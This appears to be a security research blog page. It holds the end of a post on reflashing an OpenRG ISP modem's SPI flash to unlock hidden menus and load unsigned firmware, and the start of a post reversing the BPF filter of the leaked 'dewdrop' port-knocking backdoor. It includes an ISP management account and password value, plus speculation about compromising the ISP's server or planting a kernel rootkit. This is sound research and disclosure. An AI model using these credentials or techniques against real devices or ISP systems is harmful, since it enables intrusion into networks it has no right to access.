before the configuration file (at offset 0xF70000). The same constant can also be found in U-Boot log when it locates the two kernel images available (check U-Boot output after we enabled serial output). Magic constants are extremely useful to the reverse engineering process since they gives us some clues about the contents or at least something to start searching for. We can find the following description:\n\u0026ldquo;0xFEEDBABE (\u0026ldquo;feed babe\u0026rdquo;) is the magic number used to indicate the beginning of an OpenRG flash partition descriptor\u0026rdquo;\nWhich takes us to a patch in OpenWRT project with a structure definition:\n/* similarly, OpenRG-based boards use additional headers * as part of their flash partitioning scheme, * which unfortunately include a checksum and length field */ /* Note: All fields are in big-endian */ struct openrg_header { u32 magic; /* 0xFEEDBABE */ u32 len; /* Length of file excluding header */ u32 checksum; /* 32-bit sum of all bytes in file and header, excluding checksum */ u32 counter; /* Unknown */ u32 start_offset; /* Unknown */ u8 name[0x80]; /* Names the file for the CFE flash_layout command */ }; The structure explains right away what happened with our modification - there is a checksum field that we obviously failed to update and when checksum verification failed the modem reverted to default configuration. We have additional clues to keep searching. This time we find an utility able to parse the openrg partition containers where the configuration file is: openrg-image-parser. I extract just the partition for one of the configuration files into an independent file and test. It works and extracts the configuration file. It has a bug because it will segfault against the whole firmware image (it lacks solid error checking and a bogus partition header before the config file on my dump makes it crash).\nNow it\u0026rsquo;s pretty clear what we need to do - we need to build a new partition for the modified configuration file we want to inject. I adapted openrg-image-parser to pack a target file and create a valid openrg partition file. We just need to open the firmware image and the new partition file, and copy the contents of the new partition over the old partition at offset 0xF70000 (or just use dd to do this).\nAnother reflash, ten minutes later and\u0026hellip; it works! We finally have access to the hidden menus that weren\u0026rsquo;t available to the regular accounts.\nI also enabled telnet access and the same admin account can be used to enter the telnet console. Lots of juicy options available, including potentially interesting remote and local updates.\nWith this we can finally disable all the remote management services from the ISP (Jungo service) and remote accounts. I can\u0026rsquo;t guarantee yet that this disables pinging for remote updates but now we have full access to the firewall and can at least add a rule to block connections to the updates server. The configuration file contains the following regarding what appears to be remote update feature:\n(rmt_upd (url(http://update.zon.pt/jungo/openrg/4.11.3.7/openrg-4.11.3.7-BVW3653_V2_ZON.rms)) (wan_upgrade_type(3)) (check_interval(900)) (last_status(ok)) (is_jcms_outgoing(1)) ) The URL appears to be unavailable but this is probably another configuration option we want to disable.\nThe next interesting steps are to reverse engineer the main openrg binary and maybe others that can be found in the filesystem. I couldn\u0026rsquo;t find any utility to repack the modified cramfs filesystem so we might need a tool to do this job. Jungo LZMA modified implementation source code is available on the Internet so this makes the task a bit easier. This is the way we can kill for sure any remote updates and remote access, since we can patch and remove those functions after we are able to repack the file system.\nBecause Jungo/OpenRG is widely used in many ISPs around the world, this technique shouldn\u0026rsquo;t be specific to ZON/NOS Portuguese ISP and Hitron branded modems. It should be a solid assumption that the configuration file can be extracted and modified the same way from other vendors with little to no modifications to my version of openrg-image-parser. As long we can easily access the SPI flash chip there should be no trouble attacking the modem. This attack implies of course physical access to the modem. Its advantage is that we have an easy access to the operating system and applications contents, making it easier to research for vulnerabilities that can compromise the whole network - the port 7654 service is a possible juicy research target.\nA potentially interesting vector is to compromise the remote management server. Since we were able to extract the certificates used to access it we can try to poke around and compromise that server. This is the configuration file information about it:\n(jnet (enabled(1)) (url(https://jrms.zon.pt/jnet_rg2.cgi)) (wbm_server(jrms.zon.pt)) (wbm_server_scheme(http)) (jnet_poke_intvl(64800)) (tcp_params (keep_idl(2400)) (keep_intvl(75)) (keep_probe(4)) ) (conn_req_username(acs)) (conn_req_password(1721cffdd6fa0354079963f1f67c0f51)) (conn_req_port(7654)) (conn_req_realm(jungo)) (start_delay(120)) (wget (fast_retry_count(10)) (fast_retry_sec_min(0)) (fast_retry_sec_max(600)) (retry_sec_min(300)) (retry_sec_max(600)) ) (conn_req_url(205561403)) ) Connecting to the CGI doesn\u0026rsquo;t appear to do anything so this requires further reverse engineering and research. The scenario I had in mind was to compromise this server, after which I assumed access to the whole ISP network, potentially making it possible to compromise every single Hitron modem managed by this service. Of course this is a big if pending further research which will never happen because of potential legal implications (unless the ISP allows it to happen of course). This kind of remote management features creates a (potentially catastrophic) single point of failure and a potential open door to thousands or millions of modems. I discussed this scenario with ISP staff and they told me there is an out-of-band channel that would allow them to update modems in case a malicious firmware was pushed to all modems that disabled their access. This is a DOCSIS protocol requisite according to them (I had some pointers to this documentation but lost it). This is definitely an interesting topic to research to make sure that the out-of-band channel exists and that we have no way to deny access to it. Trust, but verify!\nAnother interesting attack vector is to update the firmware image with malicious content. For example, an attacker can first compromise a machine inside the network - let\u0026rsquo;s assume he doesn\u0026rsquo;t have access to the port 7654 - and then attack the modem with a vulnerability that gives him shell access on the modem. Judging from the flash options available at the command line interface, there is a possibility to upload a malicious firmware to the modem. Firmware backdoors are great and persistent access at the edge router that also takes care of VOIP traffic makes it a very interesting target.\nFrom the CLI menu it is possible to flash anything into the flash sections recognized by the CLI flasher (flash menu, layout command to display the contents of the flash). And by anything I mean anything. I started a Python SimpleHTTPServer instance and I tried to flash some junk data into the two sections that contain kernel images (there are two in case one gets corrupted) and the flasher executed my orders.\nflash\u0026gt; load -u http://192.168.1.3:8080/unicorn-0.9.tar.gz -s 5 Download completed successfully Returned 0 flash\u0026gt; exit ZON HUB\u0026gt; system system\u0026gt; reboot U-Boot 1.2.0 (Mar 7 2013 - 20:07:42) PSPU-Boot(BBU) 1.0.16.22 DRAM: 128 MB Flash Spansion S25FL128S(16 MB) found on CS0. Flash Spansion S25FL128S(16 MB) found on CS1. Flash: 32 MB In: serial Out: serial Err: serial Press SPACE to abort autoboot in 3 second(s) Image sections found: 2. section: type:2; magic 0xfeedbabe; counter 0xa9; addr 0x48040000 5. section: type:2; magic 0xfeedbabe; counter 0xaf; addr 0x4c000000 Looking for active section/image: checking section 5... ok: \u0026#39;Image downloaded from: http://192.168.1.3:8080/unicorn-0.9.tar.gz\u0026#39; 0x274eed@0x4c000000 count:0xaf ## Booting image at 4c000000 ... Bad Magic Number Of course that when I booted the system it was bricked in the boot loader since it couldn\u0026rsquo;t find anymore a valid kernel image to boot. What this means is that we can modify the kernel image (found into a U-Boot uImage container) and reflash it. No code signatures whatsoever appear to exist at least on this version of OpenRG/U-Boot. As long the checksum in the openrg_header is valid everything is ok. No secure boot is great for research!\nThe missing piece is just how to create a new image. The uncramfs utility has the LZMA algorithm used so it\u0026rsquo;s a good starting point. The rest is reverse engineering of the missing pieces (U-Boot boots a compressed kernel image, with known headers but potentially using LZMA algorithm) and then we can finally modify the filesystem and/or kernel. At that point advanced persistency is achieved. A kernel rootkit could be introduced that modifies binaries downloaded over HTTP and insert malware on them. If it happened with Tor, it can happen with millions of routers - if the remote update and flash routines are disabled by malware we are talking about a support and logistic nightmare (assuming that we can disable the mentioned DOCSIS out-of-band update channel).\nThis is all theoretical but a tiny step way to be proven possible or not. There is a certificate labeled Remote Updates but I don\u0026rsquo;t think the firmware images are even signed and should be only protected by a CRC checksum or something like that. A trusted boot chain does not exist at all, as expected on a cheap mass production device, something that should remain true in the near future aggravating the security problems of all these embedded devices. Dan Geer has interesting talks regarding this exact problem (more great talks available here).\nMy initial goal was to understand if there were any remote management accounts and services and find a way to disable them. It is possible to disable them and ISP remote access, and also recover the passwords from all the accounts (described in the slides).\nInstead of using the traditional serial console, JTAG, and default passwords techniques to gain access to embedded devices, I just went straight after the \u0026ldquo;heart\u0026rdquo; of these devices - the serial flash chip - where the operating system and remaining software resides.\nIts just a different way that doesn\u0026rsquo;t involve locating headers, solder points, and other fun hardware things. It might also not be applicable to every modem/router out there. For example, check this excellent TomTom Runner smartwatch hacking series by fellow Portuguese hacker Luis Grangeia aka kossak. Direct access to the flash would probably be not as easy as in this post because of the size, and the firmware updates were encrypted.\nBut as long there is a traditional SPI flash chip with exposed pins we can have easy access to its heart (BGA versions as found in most recent Macs are way more annoying to get access to). With some luck someone else already created the tools we will need to unpack/extract filesystems and other contents, or else we will have to ourselves reverse engineer everything.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2023/10/20/attacking-the-heart-of-an-openrg-modem/","summary":"Note: the original post was written in 2017 when there weren\u0026rsquo;t many posts discussing direct attacks to firmware flash. It also took a while to get in touch with the ISP to give them a chance to fix some of the issues described (in particular the ACS access) and then it was left in draft mode until today. I just made a quick revision and fixed quite a few dead links.","title":"Attacking the heart of an OpenRG modem"},{"content":"Back in 2017 (feels like ages ago) I decided to take a peek into the ShadowBrokers leaks and reverse some of the tools.\nI started on dewdrop simply because it had a macOS version. I made local presentations at 0xOpoSec and BSidesLisbon but those slides were never published for obvious reasons (aka live implants all over the Internet).\nSignificant time has passed and everyone went crazy last week with the beautiful NSO exploit VM published by Project Zero, so why not ride the wave and present a simple NSA BPF VM. It is still an interesting work and you have to admire the great engineering that goes behind this code. It\u0026rsquo;s not everyday that you can take a peek at code developed by a well funded state actor.\nThis post is only going to focus on the BPF part of the implant so you will have to fill in the blanks about everything else.\nSo let\u0026rsquo;s start!\nAfter we start reversing the dewdrop binary we reach a point where we understand that a libpcap sniffer is installed and we are dealing with a port knocking backdoor with multiple targets such as Solaris, Linux, FreeBSD, HP-UX, JunOS, OS X. If it\u0026rsquo;s connected to the Internet there is a backdoor version. SIGINT all the things!\nFX created the first (AFAIK!) port knocking backdoor, cd00r.c. Knock is a another example. Port knocking removes the need for port listening backdoors and hiding those listeners from traditional network tools (netstat and friends). It\u0026rsquo;s the year 2000, rootkits are all the rage! Holy crap, 21 years already?\nPort knocking is essentially implemented as a custom sniffer looking for a magic packet (or a group of magic packets) and do something when it matches such as open a port, make a callback to a remote host, etc. Without the right sequence and/or data you can\u0026rsquo;t get in and detect it from the network scans.\nQuoting cd00r.c:\nThe approach of cd00r.c is to provide remote access to the system without showing an open port all the time. This is done by using a sniffer on the specified interface to capture all kinds of packets. The sniffer is not running in promiscuous mode to prevent a kernel message in syslog and detection by programs like AnitSniff.\nLibpcap has all the necessary features to implement this. We just need to install a listener and activate a BPF based filter since we don\u0026rsquo;t need to capture everything (it\u0026rsquo;s the 2000s, CPUs are slow, we don\u0026rsquo;t want to raise alarms). When the magic packet or sequence is triggered a callback is executed and we can do whatever we want.\nThe following is the observed backdoor process diagram:\nThe initial process just forks and exit as a debugging measure (gdb used to have problems following child processes - software breakpoints crash because no debugger installed in the child). The first fork is the daemon and watchdog process responsible for managing the rest of the code. It then forks a child worker where the port knocking sniffer is installed.\nThe watchdog process is also very simple. It redirects all output to /dev/null, removes all signal handlers, forks a worker child and waits for it. Core files are disabled, file limits are increased, and a signal handler to kill the child is set, to avoid zombie processes if the watchdog is killed. Too much gore in Unix, uh?\nStrings are XOR obfuscated. You can find a Unicorn Engine based deobfuscation utility here. At the time I was playing a lot with Unicorn so it was just faster to copy the shellcode into a quick Unicorn emulator. Recently I used a better approach with Lamberts obfuscation with the delambert IDA plugin.\nThe same obfuscation algorithm is reused in other tools. Ooops, code reusage sin!\nAfter we understand the process diagram it is clear that we want to debug the worker child. My trick at the time was to patch a sleep (or just use Trammell\u0026rsquo;s simple and powerful infinite loop trick, which takes less bytes and doesn\u0026rsquo;t need offset computations) in the code that the child is going to run, attach the debugger, restore (or emulate) the original bytes, rewind EIP and have fun. Or, you can just skip the fork, and patch code or set EIP to the code that would be executed by the child.\nNot sure why I originally used a sleep patch instead of the infinite loop. Maybe because it would look nicer on slides or to show how to call imported symbols. Go figure!\nI can\u0026rsquo;t remember how but I understood that libpcap was used. All the library original strings are removed to avoid (easy) library identification. I think at the time I just compiled a libpcap version and manually identified the most interesting functions. Bindiff or Diaphora are the tools of the trade for this kind of task.\nUsually the flow to install a libpcap based sniffer is:\nLocate the network interfaces to sniff at. Compile a filter. Install the filter. Start sniffing. Get matching packets into a callback. Process the matched packets. Do something (evil). Just read cd00r.c code and you will understand what\u0026rsquo;s going in the backdoor code.\nIn this sample the clear text BPF filter is missing and a call to pcap_compile to compile that filter. Instead of compiled on the fly, the (compiled) bytecode is embedded in the binary.\nWe can find the code that retrieves and installs the bytecode here:\nIDA - dewdrop__v__3_3_2_2_x86_64-darwin __text:0x100001882 E8 59 23 00 00 call sub_100003BE0 ; retrieve the pre compiled bpf_program __text:0x100001887 4C 89 E7 mov rdi, r12 __text:0x10000188A 48 89 C6 mov rsi, rax ; rax = 0x000000010000A640 __text:0x10000188A ; __text:0x10000188A ; struct bpf_program { __text:0x10000188A ; u_int bf_len; __text:0x10000188A ; struct bpf_insn *bf_insns; __text:0x10000188A ; }; __text:0x10000188A ; __text:0x10000188A ; struct bpf_insn { __text:0x10000188A ; u_short code; __text:0x10000188A ; u_char jt; __text:0x10000188A ; u_char jf; __text:0x10000188A ; bpf_u_int32 k; __text:0x10000188A ; }; __text:0x10000188D E8 9E 51 00 00 call pcap_setfilter ; int __text:0x10000188D ; pcap_setfilter(pcap_t *p, struct bpf_program *fp) The input to pcap_setfilter is a bpf program:\npcap_setfilter() is used to specify a filter program. fp is a pointer to a bpf_program struct, usually the result of a call to pcap_compile(3PCAP).\nIf we take a look at the referenced data it clearly looks like a potential bpf_program:\nIDA - dewdrop__v__3_3_2_2_x86_64-darwin __data:0x10000A640 39 00 00 00 dword_10000A640 dd 39h ; DATA XREF: sub_100003BE0+62↑o __data:0x10000A644 00 db 0 __data:0x10000A645 00 db 0 __data:0x10000A646 00 db 0 __data:0x10000A647 00 db 0 __data:0x10000A648 60 A6 00 00 01 00 00 00 off_10000A648 dq offset port_knocking_bpf_program __data:0x10000A650 00 00 00 00 00 00 00 00+ align 20h __data:0x10000A660 30 port_knocking_bpf_program db 30h ; DATA XREF: __data:off_10000A648↑o __data:0x10000A661 00 db 0 __data:0x10000A662 00 db 0 __data:0x10000A663 00 db 0 __data:0x10000A664 0E db 0Eh __data:0x10000A665 00 db 0 __data:0x10000A666 00 db 0 __data:0x10000A667 00 db 0 __data:0x10000A668 15 db 15h __data:0x10000A669 00 db 0 __data:0x10000A66A 01 db 1 __data:0x10000A66B 00 db 0 __data:0x10000A66C 45 db 45h ; E We can define the following types in IDA to transform the data into an array:\nstruct bpf_insn { u_short code; u_char jt; u_char jf; int32 k; }; struct bpf_program { u_int bf_len; struct bpf_insn *bf_insns; }; Applying the new types to the data we can see the expected bpf_program structure:\nIDA - dewdrop__v__3_3_2_2_x86_64-darwin __data:0x10000A640 stru_10000A640 bpf_program \u0026lt;39h, 0, offset port_knocking_bpf_program\u0026gt; __data:0x10000A640 ; DATA XREF: sub_100003BE0+62↑o __data:0x10000A640 ; sub_100003BE0+4↑r ... __data:0x10000A650 align 20h __data:0x10000A660 port_knocking_bpf_program bpf_insn \u0026lt; 30h, 0, 0, 0Eh\u0026gt; __data:0x10000A660 ; DATA XREF: __data:stru_10000A640↑o __data:0x10000A660 bpf_insn \u0026lt; 15h, 1, 0, 45h\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 6, 0, 0, 0\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 28h, 0, 0, 10h\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 4, 0, 0, 0Eh\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 35h, 1, 0, 0AAh\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 6, 0, 0, 0\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 2, 0, 0, 1\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 14h, 0, 0, 6\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 7, 0, 0, 0\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 48h, 0, 0, 0\u0026gt; __data:0x10000A660 bpf_insn \u0026lt; 44h, 0, 0, 0E6CFh\u0026gt; (...) The bpf_program header tells us the program has 57 instructions. We definitely want to disassemble and reverse it.\nBefore the BPF program is retrieved, the network frame header size is computed:\nIDA - dewdrop__v__3_3_2_2_x86_64-darwin __text:0x100001877 mov rdi, r12 ; pcap_t * __text:0x10000187A call find_frame_header_size Quite a few cases are supported but the virtual machine executing the sample uses Ethernet so we will go through the DLT_EN10MB case.\nIDA - dewdrop__v__3_3_2_2_x86_64-darwin __text:0x100001550 find_frame_header_size proc near ; CODE XREF: sub_1000015F0+A8↓p __text:0x100001550 ; sub_100001720+15A↓p __text:0x100001550 ; __unwind { __text:0x100001550 push rbp __text:0x100001551 mov rbp, rsp __text:0x100001554 call pcap_datalink ; int __text:0x100001554 ; pcap_datalink(pcap_t *p) __text:0x100001554 ; { __text:0x100001554 ; return (p-\u0026gt;linktype); __text:0x100001554 ; } __text:0x100001559 cmp eax, 6Bh ; \u0026#39;k\u0026#39; ; DLT_FRELAY __text:0x10000155C jg short loc_100001574 __text:0x10000155E cmp eax, 1 ; DLT_EN10MB __text:0x100001561 jz short loc_100001585 __text:0x100001563 cmp eax, 8 ; DLT_SLIP __text:0x100001566 jz short loc_10000158C __text:0x100001568 cmp eax, 0Ch ; DLT_RAW __text:0x10000156B jz short loc_100001593 __text:0x10000156D __text:0x10000156D loc_10000156D: ; CODE XREF: find_frame_header_size+2C↓j __text:0x10000156D mov eax, 0FFFFh __text:0x100001572 pop rbp __text:0x100001573 retn __text:0x100001574 ; -------------------------------------------------------------------- __text:0x100001574 __text:0x100001574 loc_100001574: ; CODE XREF: find_frame_header_size+C↑j __text:0x100001574 cmp eax, 71h ; \u0026#39;q\u0026#39; ; DLT_LINUX_SLL __text:0x100001577 jz short loc_10000158C __text:0x100001579 cmp eax, 6Ch ; \u0026#39;l\u0026#39; ; DLT_LOOP __text:0x10000157C jnz short loc_10000156D __text:0x10000157E mov eax, 4 __text:0x100001583 pop rbp __text:0x100001584 retn __text:0x100001585 ; -------------------------------------------------------------------- __text:0x100001585 __text:0x100001585 loc_100001585: ; CODE XREF: find_frame_header_size+11↑j __text:0x100001585 mov eax, 0Eh ; /* Ethernet header length */ __text:0x10000158A pop rbp __text:0x10000158B retn __text:0x10000158C ; -------------------------------------------------------------------- __text:0x10000158C __text:0x10000158C loc_10000158C: ; CODE XREF: find_frame_header_size+16↑j __text:0x10000158C ; find_frame_header_size+27↑j __text:0x10000158C mov eax, 10h __text:0x100001591 pop rbp __text:0x100001592 retn __text:0x100001593 ; -------------------------------------------------------------------- __text:0x100001593 __text:0x100001593 loc_100001593: ; CODE XREF: find_frame_header_size+1B↑j __text:0x100001593 xor eax, eax __text:0x100001595 pop rbp __text:0x100001596 retn __text:0x100001596 ; } // starts at 100001550 __text:0x100001596 find_frame_header_size endp The frame header size is necessary because the bpf program is modified to support those different link types (old stuff, uh?). This is what the function that returns the bpf program does:\nIDA - dewdrop__v__3_3_2_2_x86_64-darwin __text:0x100003BE0 sub_100003BE0 proc near ; CODE XREF: sub_100001720+162↑p __text:0x100003BE0 ; __unwind { __text:0x100003BE0 push rbp __text:0x100003BE1 mov rbp, rsp __text:0x100003BE4 mov rax, cs:stru_10000A640.bf_insns __text:0x100003BEB mov [rax+4], edi __text:0x100003BEE lea eax, [rdi+2] __text:0x100003BF1 mov rcx, cs:stru_10000A640.bf_insns __text:0x100003BF8 mov [rcx+1Ch], eax __text:0x100003BFB mov rax, cs:stru_10000A640.bf_insns __text:0x100003C02 mov [rax+24h], edi __text:0x100003C05 lea eax, [rdi+9Ch] __text:0x100003C0B mov rcx, cs:stru_10000A640.bf_insns __text:0x100003C12 mov [rcx+2Ch], eax __text:0x100003C15 lea eax, [rdi+9] __text:0x100003C18 mov rcx, cs:stru_10000A640.bf_insns __text:0x100003C1F mov [rcx+0E4h], eax __text:0x100003C25 lea eax, [rdi+20h] __text:0x100003C28 mov rcx, cs:stru_10000A640.bf_insns __text:0x100003C2F mov [rcx+0F4h], eax __text:0x100003C35 mov rax, cs:stru_10000A640.bf_insns __text:0x100003C3C mov [rax+11Ch], edi __text:0x100003C42 lea rax, stru_10000A640 ; bpf_program size __text:0x100003C49 pop rbp __text:0x100003C4A retn Or with decompiler assistance (IDA subscriptions model, lol\u0026hellip;):\nbpf_program *__fastcall sub_100003BE0(u_int32 frame_size) { stru_10000A640.bf_insns-\u0026gt;k = frame_size; stru_10000A640.bf_insns[3].k = frame_size + 2; stru_10000A640.bf_insns[4].k = frame_size; stru_10000A640.bf_insns[5].k = frame_size + 156; stru_10000A640.bf_insns[28].k = frame_size + 9; stru_10000A640.bf_insns[30].k = frame_size + 32; stru_10000A640.bf_insns[35].k = frame_size; return \u0026amp;stru_10000A640; } Recalling the struct bpf_insn definition:\nstruct bpf_insn { u_short code; // Instruction type and addressing mode u_char jt; // Jump if false u_char jf; // Jump if true int32 k; // Generid field used for various purposes }; That function is just adapting the bpf program to the different types of data links and fixing offsets.\nThe default program is defined for Ethernet, so the values will be the same as the original, meaning that we can dump directly the program from the binary. The following table comparing the original and computed values to modify proves this:\nIDA - dewdrop__v__3_3_2_2_x86_64-darwin __data:0x10000A660 bpf_insn \u0026lt; 30h, 0, 0, 0Eh\u0026gt; \u0026lt;- 0: 0xE = 0xE __data:0x10000A660 bpf_insn \u0026lt; 28h, 0, 0, 10h\u0026gt; \u0026lt;- 3: 0xE + 2 = 0x10 __data:0x10000A660 bpf_insn \u0026lt; 4, 0, 0, 0Eh\u0026gt; \u0026lt;- 4: 0xE = 0xE __data:0x10000A660 bpf_insn \u0026lt; 35h, 1, 0, AAh\u0026gt; \u0026lt;- 5: 0xE + 156 = 0xAA __data:0x10000A660 bpf_insn \u0026lt; 30h, 0, 0, 17h\u0026gt; \u0026lt;- 28: 0xE + 9 = 0x17 __data:0x10000A660 bpf_insn \u0026lt; 30h, 0, 0, 2Eh\u0026gt; \u0026lt;- 30: 0xE + 32 = 0x2E __data:0x10000A660 bpf_insn \u0026lt; 48h, 0, 0, 0Eh\u0026gt; \u0026lt;- 35: 0xE = 0xE To disassemble the bytecode we can use bpftools published by Cloudflare. This is based out of the available Linux kernel tools in kernel source code. This repo compiles easily while I think I had some issues compiling the kernel version. Just install the dependencies and compile (Linux only AFAIK). The bpf debugger and disassembler can be found at linux_tools/bpf_dbg. If you feel brave (and lucky) you can always try radare2 (eh eh eh eh).\nTo load the bytecode we need to convert it to this tool format. Example:\nload bpf 12,40 0 0 12,21 0 5 34525,48 0 0 20,21 6 0 17,21 0 6 44,48 0 0 54,21 3 4 17,21 0 3 2048,48 0 0 23,21 0 1 17,6 0 0 262144,6 0 0 0 The first field is the number of instructions, followed by each instruction in base 10 and space separated fields.\nI created bpf_dbg_output to convert the instructions array to bpf_dbg input format.\nWe can finally disassemble the bpf payload:\n\u0026gt; load bpf 57,48 0 0 14,21 1 0 69,6 0 0 0,40 0 0 16,4 0 0 14,53 1 0 170,6 0 0 0,2 0 0 1,20 0 0 6,7 0 0 0,72 0 0 0,68 0 0 59087,2 0 0 15,72 0 0 0,84 0 0 59087,132 0 0 0,20 0 0 1,7 0 0 0,96 0 0 15,92 0 0 0,7 0 0 0,2 0 0 2,96 0 0 1,28 0 0 0,7 0 0 0,72 0 0 0,2 0 0 3,97 0 0 2,48 0 0 23,21 0 5 6,48 0 0 46,116 0 0 2,20 0 0 20,12 0 0 0,7 0 0 0,72 0 0 14,2 0 0 4,96 0 0 1,20 0 0 2,7 0 0 0,72 0 0 0,68 0 0 40298,2 0 0 15,72 0 0 0,84 0 0 40298,132 0 0 0,20 0 0 1,7 0 0 0,96 0 0 15,92 0 0 0,7 0 0 0,96 0 0 4,29 2 0 0,96 0 0 3,29 0 1 0,6 0 0 65535,6 0 0 0 \u0026gt; disassemble l0: ldb [14] l1: jeq #0x45, l3, l2 l2: ret #0 l3: ldh [16] l4: add #14 l5: jge #0xaa, l7, l6 l6: ret #0 l7: st M[1] l8: sub #6 l9: tax l10: ldh [x+0] l11: or #0xe6cf l12: st M[15] l13: ldh [x+0] l14: and #0xe6cf l15: neg l16: sub #1 l17: tax l18: ld M[15] l19: and x l20: tax l21: st M[2] l22: ld M[1] l23: sub x l24: tax l25: ldh [x+0] l26: st M[3] l27: ldx M[2] l28: ldb [23] l29: jeq #0x6, l30, l35 l30: ldb [46] l31: rsh #2 l32: sub #20 l33: add x l34: tax l35: ldh [x+14] l36: st M[4] l37: ld M[1] l38: sub #2 l39: tax l40: ldh [x+0] l41: or #0x9d6a l42: st M[15] l43: ldh [x+0] l44: and #0x9d6a l45: neg l46: sub #1 l47: tax l48: ld M[15] l49: and x l50: tax l51: ld M[4] l52: jeq x, l55, l53 l53: ld M[3] l54: jeq x, l55, l56 l55: ret #0xffff l56: ret #0 To understand what is going on here we need the bpf instruction set:\nInstruction Addressing mode Description ld 1, 2, 3, 4, 10 Load word into A ldi 4 Load word into A ldh 1, 2 Load half-word into A ldb 1, 2 Load byte into A ldx 3, 4, 5, 10 Load word into X ldxi 4 Load word into X ldxb 5 Load byte into X st 3 Store A into M[] stx 3 Store X into M[] jmp 6 Jump to label ja 6 Jump to label jeq 7, 8 Jump on A == k jneq 8 Jump on A != k jne 8 Jump on A != k jlt 8 Jump on A \u0026lt; k jle 8 Jump on A \u0026lt;= k jgt 7, 8 Jump on A \u0026gt; k jge 7, 8 Jump on A \u0026gt;= k jset 7, 8 Jump on A \u0026amp; k add 0, 4 A + \u0026lt;x\u0026gt; sub 0, 4 A - \u0026lt;x\u0026gt; mul 0, 4 A * \u0026lt;x\u0026gt; div 0, 4 A / \u0026lt;x\u0026gt; mod 0, 4 A % \u0026lt;x\u0026gt; neg !A and 0, 4 A \u0026amp; \u0026lt;x\u0026gt; or 0, 4 A | \u0026lt;x\u0026gt; xor 0, 4 A ^ \u0026lt;x\u0026gt; lsh 0, 4 A \u0026lt;\u0026lt; \u0026lt;x\u0026gt; rsh 0, 4 A \u0026gt;\u0026gt; \u0026lt;x\u0026gt; tax Copy A into X txa Copy X into A ret 4, 9 Return The instruction set consists of load, store, branch, alu, miscellaneous and return instructions. Documentation from Linux kernel.\nThe following registers are available:\nA : 32 bit wide accumulator X : 32 bit wide X register M[] : 16 x 32 bit wide misc registers aka \u0026ldquo;scratch memory store\u0026rdquo;, addressable from 0 to 15 And finally the addressing modes:\nAddressing mode Syntax Description 0 x/%x Register X 1 [k] BHW at byte offset k in the packet 2 [x + k] BHW at the offset X + k in the packet 3 M[k] Word at offset k in M[] 4 #k Literal value stored in k 5 4*([k]\u0026amp;0xf) Lower nibble * 4 at byte offset k in the packet 6 L Jump label L 7 #k,Lt,Lf Jump to Lt if true, otherwise jump to Lf 8 x/%x,Lt,Lf Jump to Lt if true, otherwise jump to Lf 9 #k,Lt Jump to Lt if predicate is true 10 x/%x,Lt Jump to Lt if predicate is true 11 a/%a Accumulator A 12 extension BPF extension Note the relevant sizes definitions used here:\nHalf word: 2 bytes Word: 4 bytes The following valid ICMP packet (produced by their port knocking tool) is used to reverse the bpf program:\ns10:40:09.498560 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 164) 192.168.30.14 \u0026gt; 192.168.30.15: ICMP echo request, id 24374, seq 25107, length 144 0x0000: 000c 29db 3ac4 000c 29b6 b3c6 0800 4500 ..).:...).....E. 0x0010: 00a4 0001 0000 4001 bcea c0a8 1e0e c0a8 ......@......... 0x0020: 1e0f 0800 9e57 5f36 6213 7e29 5000 1743 .....W_6b.~)P..C 0x0030: 5b50 ab0d addf b955 1089 578f 849b ecdf [P.....U..W..... 0x0040: 83fd 84c0 a779 7118 43ac ec65 1249 7e5f .....yq.C..e.I~_ 0x0050: e7ea 2b2a 6265 a1d3 912f 2dd8 b3ab e30a ..+*be.../-..... 0x0060: 0d3b e0f4 e527 3955 9f44 46d7 0608 7703 .;...\u0026#39;9U.DF...w. 0x0070: f134 5138 4845 68bd 7382 d1c4 1fcb adf5 .4Q8HEh.s....... 0x0080: c2ae 87b4 ac48 b398 5f65 24d3 7090 6c04 .....H.._e$.p.l. 0x0090: fc1a cb5b 99b5 ec76 a129 596e edb3 668b ...[...v.)Yn..f. 0x00a0: 8848 9bce f31c 458e 07b5 52c7 e647 7e0f .H....E...R..G~. 0x00b0: e343 .C The reversed and commented version of the program (modified instructions are 0, 3, 4, 5, 28, 30, 35):\n\u0026gt; disassemble l0: ldb [14] \u0026lt;- load byte from offset 14 (aka skip frame header) into A. A = 0xE l1: jeq #0x45, l3, l2 \u0026lt;- check if it\u0026#39;s 0x45 - IP packet, header length = 5, version 4 l2: ret #0 \u0026lt;- exit if not a IPv4 packet l3: ldh [16] \u0026lt;- load IP packet total length into A: 0xA4 = 164 bytes. A = 0xA4 l4: add #14 \u0026lt;- add link layer header size to A. A = 0xA4 + 0xE = 0xB2 (178) l5: jge #0xaa, l7, l6 \u0026lt;- full packet must be at least 170 bytes. A = 178 bytes l6: ret #0 \u0026lt;- exit if packet too short l7: st M[1] \u0026lt;- store packet length into misc register 1. M[1] = 178 l8: sub #6 \u0026lt;- A = packet_length - 6 = offset 172. A = 172 l9: tax \u0026lt;- copy A to X register. X = 0xAC l10: ldh [x+0] \u0026lt;- load half word value from packet offset 0xAC. A = 0xE647 l11: or #0xe6cf \u0026lt;- 0xE647 | 0xE6CF. A = 0xE6CF l12: st M[15] \u0026lt;- store result at M[15]. M[15] = 0xE6CF l13: ldh [x+0] \u0026lt;- load half word value from packet offset 0xAC. A = 0xE647 l14: and #0xe6cf \u0026lt;- 0xE647 \u0026amp; 0xE6CF. A = 0xE647 l15: neg \u0026lt;- A = ~0xE647 + 1 = 0x19B9 l16: sub #1 \u0026lt;- A = 0x19B8 l17: tax \u0026lt;- copy A to X register. X = 0x19B8 l18: ld M[15] \u0026lt;- load from M[15]. A = 0xE6CF l19: and x \u0026lt;- 0xE6CF \u0026amp; 0x19B8. A = 0x88 (payload size) \u0026lt;- ((0xE647 | 0xE6CF) \u0026amp; (~(0xE647 \u0026amp; 0xE6CF) + 1) - 1) = 0x88 \u0026lt;- this is just 0xE647 ^ 0xE6CF \u0026lt;- because there is no XOR operation in this VM \u0026lt;- this just extracts the payload size, which is fixed at 136 bytes l20: tax \u0026lt;- X = 0x88 (payload data size) l21: st M[2] \u0026lt;- 